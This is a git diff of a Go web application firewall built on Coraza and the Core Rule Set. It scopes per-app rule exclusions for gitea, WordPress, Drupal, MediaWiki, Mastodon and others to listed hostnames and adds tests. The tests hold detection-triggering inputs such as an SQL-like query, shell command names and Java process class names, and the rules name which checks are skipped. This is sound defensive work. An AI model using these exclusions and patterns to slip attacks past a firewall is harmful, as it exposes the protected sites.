Coraza matches a parameter name here, and in the fourth, -# without regard to case. ARGS holds the fields of a form data or multipart -# body Coraza reads as well as the query parameters, so a field of one of -# these names is left out too. +# localhost. Coraza matches a parameter name here without regard to case. +# ARGS holds the fields of a form data or multipart body Coraza reads as +# well as the query parameters, so a field of this name is left out too. SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" -# The fourth: the query parameters in which gitea sends names within a -# repository or its own records, or a page of its own site, are not -# checked against the lists of system files, shell paths and command -# names. Coraza takes one rule id per directive. -SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ - !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ - !ARGS:artifactName|!ARGS:redirect_to" -SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ - !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ - !ARGS:artifactName|!ARGS:redirect_to" -SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ - !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ - !ARGS:artifactName|!ARGS:redirect_to" - -# The fifth, for Referer: it is not checked for a Unix command without -# arguments, for Java starting a process, or for a Java class name. 944130 -# refused every page opened from the page of java.lang.String.md. The -# cookies are left out in Inspect. +# The fourth: Referer is not checked for a Unix command without arguments, +# for Java starting a process, or for a Java class name. 944130 refused +# every page opened from the page of java.lang.String.md. SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer" -# The seventh: a container image push that reuses a layer names the image +# The sixth: a container image push that reuses a layer names the image # it takes the layer from in the query parameter from, which is not # checked for command names. 932260 refused the push of a layer from # owner/python3-app. @@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\ severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" ` -// giteaExclusions are the eighth change: the fields of gitea's own -// requests that skip the rules that refused them there, as Coraza -// directives. -// +// app is an app whose ordinary requests the Core Rule Set would refuse, +// with the fixes that let them pass. +type app struct { + // directives are Coraza exclusions, loaded before the Core Rule Set's + // rules. Their first rule skips to the marker they end with, unless + // Inspect sets the transaction variable named for the app, such as + // app_gitea. The skip reaches only phase 1, so a rule of a later phase + // must check that variable itself. + directives string + // cookies are the cookies the Core Rule Set reads a request without. + cookies []string +} + //go:embed gitea.conf -var giteaExclusions string +var giteaDirectives string -// wordpressExclusions are the ninth change: the fields of WordPress's own -// requests that skip the rules that refused them there, as Coraza -// directives. -// //go:embed wordpress.conf -var wordpressExclusions string +var wordpressDirectives string -// drupalExclusions are the tenth change: the fields of Drupal's own -// requests that skip the rules that refused them there, as Coraza -// directives. -// //go:embed drupal.conf -var drupalExclusions string +var drupalDirectives string -// mediawikiExclusions are the eleventh change: the fields of MediaWiki's -// own requests that skip the rules that refused them there, as Coraza -// directives. -// //go:embed mediawiki.conf -var mediawikiExclusions string +var mediawikiDirectives string -// mastodonExclusions are the twelfth change: the fields of Mastodon's own -// requests that skip the rules that refused them there, as Coraza -// directives. -// //go:embed mastodon.conf -var mastodonExclusions string +var mastodonDirectives string -// vaultwardenExclusions are the thirteenth change: the fields of -// Vaultwarden's own requests that skip the rules that refused them there, as -// Coraza directives. -// //go:embed vaultwarden.conf -var vaultwardenExclusions string +var vaultwardenDirectives string -// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's -// own requests that skip the rules that refused them there, the WebDAV -// methods it uses, its cookie of the account's name, and its uploads, -// whose bodies are not read, as Coraza directives. -// //go:embed nextcloud.conf -var nextcloudExclusions string +var nextcloudDirectives string -// cookiesNotRead are the cookies the Core Rule Set reads a request -// without, the rest of the fifth change. +// apps are the apps whose fixes sww has, by the name SWW_APPS gives each. // -//nolint:gochecknoglobals // a constant cannot be a list -var cookiesNotRead = []string{"gitea_flash", "redirect_to"} +//nolint:gochecknoglobals // a constant cannot be a map +var apps = map[string]app{ + "drupal": {directives: drupalDirectives}, + "gitea": { + directives: giteaDirectives, + cookies: []string{"gitea_flash", "redirect_to"}, + }, + "mastodon": {directives: mastodonDirectives}, + "mediawiki": {directives: mediawikiDirectives}, + "nextcloud": {directives: nextcloudDirectives}, + "vaultwarden": {directives: vaultwardenDirectives}, + "wordpress": {directives: wordpressDirectives}, +} + +// AppNames returns the names of the apps whose fixes sww has, in +// alphabetical order. +func AppNames() []string { + return slices.Sorted(maps.Keys(apps)) +} // Params are what New needs. type Params struct { @@ -259,6 +224,10 @@ type Params struct { // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // there is none. ExclusionsFile string + // Apps are the names of the apps each hostname serves, by hostname in + // lowercase (SWW_APPS). A request gets the fixes of its hostname's + // apps only, or of every app while Apps is nil. + Apps map[string][]string } // The ids of sww's own rules, which an exclusions file may not @@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error { type CoreRuleSet struct { engine coraza.WAF bodyLimit int64 + apps map[string][]string } -// New returns the Core Rule Set with the fourteen changes, at params' -// paranoia level, without the rules it switches off, reading request -// bodies up to params' limit, and with params' exclusions file loaded -// before the Core Rule Set's rules. An exclusions file is an error if it -// cannot be read or does not parse, or if checkExclusions refuses it. +// New returns the Core Rule Set with the six changes and the apps' fixes, +// at params' paranoia level, without the rules it switches off, reading +// request bodies up to params' limit, and with params' exclusions file +// loaded before the Core Rule Set's rules. An exclusions file is an error +// if it cannot be read or does not parse, or if checkExclusions refuses +// it. func New(params Params) (*CoreRuleSet, error) { body := "" if params.BodyLimit > 0 { @@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) { } } + var fixes strings.Builder + for _, name := range AppNames() { + fixes.WriteString(apps[name].directives + "\n") + } + text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, - giteaExclusions, wordpressExclusions, drupalExclusions, - mediawikiExclusions, mastodonExclusions, vaultwardenExclusions, - nextcloudExclusions) + fixes.String()) if len(params.DisabledRules) > 0 { ids := make([]string, len(params.DisabledRules)) @@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) { return nil, fmt.Errorf("load the Core Rule Set: %w", err) } - return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil + return &CoreRuleSet{ + engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps, + }, nil } // Result is what the Core Rule Set found in a request. @@ -412,11 +388,12 @@ type Result struct { Score int } -// Inspect runs the Core Rule Set on r, a request from client: on its -// method, its URL with the query, and its headers, the Cookie header -// without the cookies in cookiesNotRead, and on body, r's body as the -// caller has it, as readBody reads it. It returns what it found, what it -// read of body, and the error that ended the reading early, if one did. +// Inspect runs the Core Rule Set on r, a request from client, with the +// fixes of the apps appsFor names for r's hostname: on its method, its URL +// with the query, and its headers, the Cookie header without those apps' +// cookies, and on body, r's body as the caller has it, as readBody reads +// it. It returns what it found, what it read of body, and the error that +// ended the reading early, if one did. func (c *CoreRuleSet) Inspect( r *http.Request, client netip.Addr, body io.Reader, ) (Result, []byte, error) { @@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect( // Closing would remove the files Coraza wrote, and it writes none. defer func() { _ = tx.Close() }() + // The transaction's variables are set only through Coraza's interface + // for plugins. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + var cookiesNotRead []string + + for _, name := range c.appsFor(r.Host) { + state.Variables().TX().Set("app_"+name, []string{"1"}) + cookiesNotRead = append(cookiesNotRead, apps[name].cookies...) + } + tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessURI(r.URL.String(), r.Method, r.Proto) for name, values := range r.Header { for _, value := range values { if name == "Cookie" { - value = withoutCookiesNotRead(value) + value = withoutCookies(value, cookiesNotRead) if value == "" { continue // it held those cookies alone } @@ -523,9 +511,26 @@ func score(tx types.Transaction) int { return n } -// withoutCookiesNotRead returns value, a Cookie header's, without the -// cookies in cookiesNotRead. -func withoutCookiesNotRead(value string) string { +// appsFor returns the names of the apps whose fixes a request for host, +// its Host header, gets: every app while SWW_APPS is unset, and otherwise +// those SWW_APPS lists for host's name, without the port and in +// lowercase. +func (c *CoreRuleSet) appsFor(host string) []string { + if c.apps == nil { + return AppNames() + } + + hostname, _, err := net.SplitHostPort(host) + if err != nil { + hostname = host // it has no port + } + + return c.apps[strings.ToLower(hostname)] +} + +// withoutCookies returns value, a Cookie header's, without the cookies +// named in cookiesNotRead. +func withoutCookies(value string, cookiesNotRead []string) string { var kept []string for cookie := range strings.SplitSeq(value, ";") { diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index 6422e12..e84ca58 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -36,12 +36,14 @@ var loaded = struct { }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} // loaderFor returns the function that loads the Core Rule Set with params -// once, making it the first time params are asked for. +// once, making it the first time params are asked for. %#v writes a nil +// Apps, which gives every app's fixes, apart from an empty one, which +// gives none. func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { loaded.Lock() defer loaded.Unlock() - settings := fmt.Sprintf("%+v", params) + settings := fmt.Sprintf("%#v", params) load, found := loaded.loaders[settings] if !found { @@ -155,9 +157,10 @@ func inspectBody( } for _, header := range r.headers { - // Go's server keeps Host and Transfer-Encoding out of the headers. + // Go's server keeps Host and Transfer-Encoding out of the headers, + // whatever their case. name, value, _ := strings.Cut(header, ": ") - switch name { + switch http.CanonicalHeaderKey(name) { case "Host": req.Host = value case "Transfer-Encoding": @@ -202,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet { } // wantChange checks that crs lets through passes, a request one of the -// fourteen changes is for, and still finds result in refused, a request like -// it that the change is not for. +// six changes or an app's fixes are for, and still finds result in +// refused, a request like it that they are not for. func wantChange( t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, result coreruleset.Result, @@ -464,6 +467,127 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { matched(930120, 932160)) } +// giteaFixed are gitea requests that only gitea's fixes let through, one +// for each kind of fix, each with what the Core Rule Set finds in it +// without them. +// +//nolint:gochecknoglobals // a constant cannot be a list +var giteaFixed = []struct { + request request + result coreruleset.Result +}{ + // A search of code, on the path of gitea's search. + {get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)}, + // A file name, in a parameter gitea sends names in, on any path. + {get("/?path=.gitignore"), matched(930120)}, + // A file name, in a cookie of gitea's. + { + get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"), + matched(930120), + }, +} + +// The hostnames of the tests of SWW_APPS: the one that serves gitea, and +// one that serves another app. +const ( + giteaHost = "git.example" + otherHost = "blog.example" +) + +// recordedHost is the hostname the recorded requests of Drupal, MediaWiki, +// Mastodon, Vaultwarden and Nextcloud were sent to. +const recordedHost = "example.com" + +// gitea is gitea's name in SWW_APPS. +const gitea = "gitea" + +// wordpress is WordPress's name in SWW_APPS. +const wordpress = "wordpress" + +// withHost returns r sent to host. +func withHost(r request, host string) request { + return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)} +} + +// servingApps returns the Core Rule Set at the defaults, with SWW_APPS +// giving apps. +func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps, + }) +} + +func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) { + t.Parallel() + + crs := servingApps(t, nil) + + for _, fixed := range giteaFixed { + for _, host := range []string{giteaHost, otherHost} { + wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{}) + } + } +} + +func TestListedHostnameGetsItsAppsFixes(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{giteaHost: {gitea}}) + + // The hostname is matched without the port and without regard to case. + for _, host := range []string{giteaHost, "GIT.Example:8443"} { + for _, fixed := range giteaFixed { + wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{}) + } + } +} + +func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) { + t.Parallel() + + for _, apps := range []map[string][]string{ + {giteaHost: {gitea}}, + // SWW_APPS set empty lists no hostname. + {}, + } { + crs := servingApps(t, apps) + + for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} { + for _, fixed := range giteaFixed { + wantResult(t, crs, withHost(fixed.request, host), fixed.result) + } + } + } +} + +func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {wordpress}, + }) + + // A search, which only WordPress's fixes let through. + search := get("/?s=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) +} + +func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}}) + + // A file name that only gitea's fixes let through, and a search that only + // WordPress's fixes let through. + for _, target := range []string{"/?path=.gitignore", "/?s=python3"} { + wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{}) + } +} + // withExclusions returns the Core Rule Set at the defaults, with the // exclusions file at path. func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { @@ -625,17 +749,24 @@ const passwordField = "password=" var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} // wantRecordedRequestsPass checks that none of the recorded ordinary -// requests in the file name in testdata is refused, at the defaults and -// while bodies are read. A request with neither a body nor a Content-Type -// header is checked only at the defaults: with neither, the set that reads -// bodies has nothing more to check. Each request runs as its own parallel -// subtest. -func wantRecordedRequestsPass(t *testing.T, name string) { +// requests in the file name in testdata is refused on recordedHost while +// SWW_APPS lists only app for it, at the defaults and while bodies are +// read. With SWW_APPS unset every app's fixes apply. They only switch +// checks off, so the requests pass then too. A request with neither a body +// nor a Content-Type header is checked only at the defaults: with neither, +// the set that reads bodies has nothing more to check. Each request runs as +// its own parallel subtest. +func wantRecordedRequestsPass(t *testing.T, name, app string) { t.Helper() const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default - defaults, bodies := atDefaults(t), readingBodies(t) + apps := map[string][]string{recordedHost: {app}} + defaults := servingApps(t, apps) + bodies := shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + Apps: apps, + }) for _, recorded := range recordedRequests(t, name) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { @@ -836,12 +967,22 @@ func wordpressAttackTargets(attack string) []string { } } -func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { - t.Parallel() +// wantWordPressRequestsPass checks that the recorded ordinary WordPress +// requests pass on otherHost, where they were recorded, while SWW_APPS lists +// only wordpress for it. They pass at the defaults, and those with a body +// pass while bodies up to 64 KiB are read too. As wantRecordedRequestsPass +// says, they then pass with SWW_APPS unset too. +func wantWordPressRequestsPass(t *testing.T) { + t.Helper() const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default - defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) + apps := map[string][]string{otherHost: {wordpress}} + defaults := servingApps(t, apps) + bodies := shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1, + Apps: apps, + }) for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { @@ -862,6 +1003,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { } }) } +} + +func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + wantWordPressRequestsPass(t) + + defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) for _, attack := range []string{ sqlInjection, diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 3ee559c..46eabe8 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -1,4 +1,4 @@ -# The tenth change: on Drupal's paths, some fields skip the rules that refused +# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # ordinary Drupal requests there. They are the fields where Drupal sends a # search, a name, a file name or an address. Each exclusion runs with the # request, before the rules it switches off, so this file is loaded before the @@ -25,6 +25,13 @@ # 932230: ls -la # 932235: python3 +# Unless SWW_APPS lists drupal for the request's hostname, every rule below is +# skipped. Inspect sets tx.app_drupal when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_drupal itself. +SecRule &TX:app_drupal "@eq 0" \ + "id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL" + # Every admin page's filters and autocompletes, and the page to return to: # title: /admin/content?title=python3 # name: /admin/content/media?name=python3 @@ -237,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ SecRule &ARGS_GET:json.mail "@eq 0" \ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ ctl:ruleRemoveTargetById=932260;ARGS:json.mail" + +SecMarker END_DRUPAL diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 35aaa7e..810177a 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -5,6 +5,8 @@ import ( "net/url" "slices" "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. @@ -34,7 +36,21 @@ const drupalName = "name=" func TestOrdinaryDrupalRequestsPass(t *testing.T) { t.Parallel() - wantRecordedRequestsPass(t, "drupal-requests.txt") + wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal") +} + +func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {"drupal"}, + }) + + // A search, which only Drupal's fixes let through. + search := get("/search?keys=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) } // drupalAttacks are an SQL injection, a path traversal and a script diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index 6059b24..1e8d5bf 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -1,8 +1,53 @@ -# The eighth change: on gitea's paths, some fields skip the rules that refused -# ordinary gitea requests there. They are the fields where gitea sends a search, -# a file name or a branch name. Each exclusion runs with the request, before the -# rules it switches off, those of phase 1 included, so this file is loaded before -# the Core Rule Set's rules. Each comment names a request the rule refused. +# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. +# They are the fields where gitea sends a search, a file name or a branch name. +# Each exclusion runs with the request, before the rules it switches off, those +# of phase 1 included, so this file is loaded before the Core Rule Set's rules. +# Each comment names a request the rule refused. + +# Unless SWW_APPS lists gitea for the request's hostname, every rule below is +# skipped. Inspect sets tx.app_gitea when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_gitea itself. +SecRule &TX:app_gitea "@eq 0" \ + "id:900590,phase:1,pass,nolog,skipAfter:END_GITEA" + +# The query parameters in which gitea sends names within a repository or its +# own records, or a page of its own site, are not checked against the lists of +# system files, shell paths and command names, on any path: +# 930120: .gitignore +# 932160: bin/docker-entrypoint +# 932260: docker-build +SecAction "id:900591,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:path,\ + ctl:ruleRemoveTargetById=930120;ARGS:files,\ + ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=930120;ARGS:ref,\ + ctl:ruleRemoveTargetById=930120;ARGS:sha,\ + ctl:ruleRemoveTargetById=930120;ARGS:branch,\ + ctl:ruleRemoveTargetById=930120;ARGS:workflow,\ + ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\ + ctl:ruleRemoveTargetById=932160;ARGS:path,\ + ctl:ruleRemoveTargetById=932160;ARGS:files,\ + ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=932160;ARGS:ref,\ + ctl:ruleRemoveTargetById=932160;ARGS:sha,\ + ctl:ruleRemoveTargetById=932160;ARGS:branch,\ + ctl:ruleRemoveTargetById=932160;ARGS:workflow,\ + ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\ + ctl:ruleRemoveTargetById=932260;ARGS:path,\ + ctl:ruleRemoveTargetById=932260;ARGS:files,\ + ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=932260;ARGS:ref,\ + ctl:ruleRemoveTargetById=932260;ARGS:sha,\ + ctl:ruleRemoveTargetById=932260;ARGS:branch,\ + ctl:ruleRemoveTargetById=932260;ARGS:workflow,\ + ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=932260;ARGS:redirect_to" # gitea's searches of code, of issues and pull requests, and of commits send the # text searched for in q, which skips these rules there: @@ -163,8 +208,8 @@ SecRule REQUEST_FILENAME \ # 942140: information_schema.sql # 944110: java/lang/Runtime.java # 944130: java.lang.String.md -# Each request skips the rules that refused it. The fourth change already has -# path and redirect_to skip 930120, 932160 and 932260 on every path. +# Each request skips the rules that refused it. Rule 900591 already has path and +# redirect_to skip 930120, 932160 and 932260 on every path. # A file's commit graph, in file. SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ @@ -289,3 +334,5 @@ SecRule REQUEST_FILENAME \ "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \ "id:900640,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" + +SecMarker END_GITEA diff --git a/internal/coreruleset/mastodon.conf b/internal/coreruleset/mastodon.conf index 4b3d16f..d7b674c 100644 --- a/internal/coreruleset/mastodon.conf +++ b/internal/coreruleset/mastodon.conf @@ -1,4 +1,4 @@ -# The twelfth change: on Mastodon's paths, some fields skip the rules that +# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that # refused ordinary Mastodon requests there. They are the fields where Mastodon # sends a search, a name, a title, a file name, an address or free text. Each # exclusion runs with the request, before the rules it switches off, so this @@ -17,6 +17,13 @@ # 932250: ls -la # 932260: python3 +# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is +# skipped. Inspect sets tx.app_mastodon when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_mastodon itself. +SecRule &TX:app_mastodon "@eq 0" \ + "id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON" + # The API's searches and names, in the query: # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # acct: /api/v1/accounts/lookup?acct=python3 @@ -216,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" + +SecMarker END_MASTODON diff --git a/internal/coreruleset/mastodon_test.go b/internal/coreruleset/mastodon_test.go index 4cf28b9..df8ee37 100644 --- a/internal/coreruleset/mastodon_test.go +++ b/internal/coreruleset/mastodon_test.go @@ -57,7 +57,21 @@ const ( func TestOrdinaryMastodonRequestsPass(t *testing.T) { t.Parallel() - wantRecordedRequestsPass(t, "mastodon-requests.txt") + wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon") +} + +func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {"mastodon"}, + }) + + // A search, which only Mastodon's fixes let through. + search := get("/api/v2/search?q=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) } // mastodonQueryFields sends each field that skips 930120, 932120, 932250 diff --git a/internal/coreruleset/mediawiki.conf b/internal/coreruleset/mediawiki.conf index 590a63a..9dc7f57 100644 --- a/internal/coreruleset/mediawiki.conf +++ b/internal/coreruleset/mediawiki.conf @@ -1,4 +1,4 @@ -# The eleventh change: on MediaWiki's paths, some fields skip the rules that +# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that # refused ordinary MediaWiki requests there. They are the fields where MediaWiki # sends a search, a title, a name, a file name, an address, a summary or a # reason, and the fields that hold wikitext. Each exclusion runs with the @@ -21,6 +21,13 @@ # 932250: ls -la # 932260: python3 +# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below +# is skipped. Inspect sets tx.app_mediawiki when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_mediawiki itself. +SecRule &TX:app_mediawiki "@eq 0" \ + "id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI" + # The pages and their titles, the searches, and the special pages' fields # for a page, a user, a file or an address: # title: /index.php?title=Python3_notes&action=history @@ -198,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ # This rule is in phase 2, because a phase 1 rule runs before the body is read # and cannot see what wpTitles holds. It checks that the body sends wpTitles # once, since it would otherwise skip these rules for a second wpTitles -# holding a command. +# holding a command. It checks tx.app_mediawiki, since the skip above does not +# reach phase 2. SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ "id:900916,phase:2,pass,nolog,chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &TX:app_mediawiki "@eq 1" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ @@ -210,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" + +SecMarker END_MEDIAWIKI diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index 66a8137..f594fe2 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -4,11 +4,16 @@ import ( "net/http" "slices" "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const mediawikiThreshold = 5 +// mediawiki is MediaWiki's name in SWW_APPS. +const mediawiki = "mediawiki" + // mediawikiEdit is the address MediaWiki's edit form posts to. const mediawikiEdit = "/index.php?title=Example&action=submit" @@ -45,7 +50,44 @@ const ( func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { t.Parallel() - wantRecordedRequestsPass(t, "mediawiki-requests.txt") + wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki) +} + +func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {mediawiki}, + }) + + // A search, which only MediaWiki's fixes let through. + search := get("/index.php?title=Special:Search&search=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) +} + +func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) { + t.Parallel() + + crs := shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}}, + }) + + // A watchlist that only the phase 2 rule 900916 lets through. + r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes" + + got, _ := inspectBody(t, crs, withHost(r, otherHost), body) + if got.Score >= mediawikiThreshold { + t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got) + } + + got, _ = inspectBody(t, crs, withHost(r, giteaHost), body) + if got.Score < mediawikiThreshold { + t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got) + } } // mediawikiQueryFields and mediawikiBodyFields together hold every field that diff --git a/internal/coreruleset/nextcloud.conf b/internal/coreruleset/nextcloud.conf index 700c04f..2e9855b 100644 --- a/internal/coreruleset/nextcloud.conf +++ b/internal/coreruleset/nextcloud.conf @@ -1,4 +1,4 @@ -# The fourteenth change: on Nextcloud's paths, some fields skip the rules that +# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that # refused ordinary Nextcloud requests there. They 